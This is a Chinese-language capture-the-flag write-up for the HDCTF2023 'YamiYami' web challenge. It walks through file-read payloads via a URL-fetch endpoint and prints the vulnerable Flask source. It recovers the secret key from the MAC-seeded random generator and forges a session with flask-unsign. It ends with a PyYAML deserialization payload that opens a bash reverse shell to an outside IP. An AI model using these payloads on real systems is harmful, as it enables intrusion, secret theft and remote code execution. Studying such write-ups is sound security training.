[hdctf2023]YamiYami

开题发现三个连接。
点击Read something
页面自动跳转,发现url
变成
http://node4.anna.nssctf.cn:28907/read?url=https://baidu.com
非预期
我们可以在这个界面直接读取环境变量文件发现flag
payload:
http://node4.anna.nssctf.cn:28907/read?url=file:///proc/1/environ
|

预期解
我们尝试读取/app/app.py
文件,发现关键字app
被过滤,这里尝试url两次编码绕过。
payload:
http://node4.anna.nssctf.cn:28907/read?url=file:///%2561%2570%2570%2F%2561%2570%2570%252E%2570%2579
|
读取到app.py
源文件
import os import re, random, uuid from flask import * from werkzeug.utils import * import yaml from urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"] app.config['UPLOAD_FOLDER']="/app/uploads" @app.route('/') def index(): session['passport'] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a> <br> Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a> <br> Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a> ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])
|
分析代码可以发现。
在/boogipop路由发现yaml.full_load(f)可知这里可以pyyaml反序列化,还需要修改session[passport]=Welcome To HDCTF2023
.然后传参file=你上传的文件就能反序列化其中的内容。
session伪造
首先,我们尝试伪造session。
random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)
|
发现SECRET_KEY
生成的逻辑。
其中uuid.getnode()
是返回本机的MAC地址。然后以这个内容作为随机数的种子,按后续的规则生成随机数作为SECRET_KEY
.
我们可以借助上边发现的这个任意文件读取的漏洞,读取这个/sys/class/net/eth0/address
就能发现本机的MAC地址。
payload:
http://node4.anna.nssctf.cn:28907/read?url=file:////sys/class/net/eth0/address
#02:42:ac:02:bc:52
|
还原SECRET_KEY
import random random.seed(0x0242ac02bc52) print(str(random.random()*233))
|
现在拿到了session,我们可以借助工具伪造session
flask-unsign -u -c eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZebNjg.1mv2s09TkzM5usTKu3h-krLiexU
#Session decodes to: {'passport': 'YamiYami'}
|
flask-unsign --sign --cookie "{'passport':'Welcome To HDCTF2023'}" --secret '224.544010919'
#eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZebTGA.fVx-mnq1kcSzVFIjyak_7sKfrH8
|
yaml反序列化
!!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"(exec bash -i &>/dev/tcp/91.219.215.229/60760 0>&1) &\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
|
利用网上的脚本,成功反弹shell
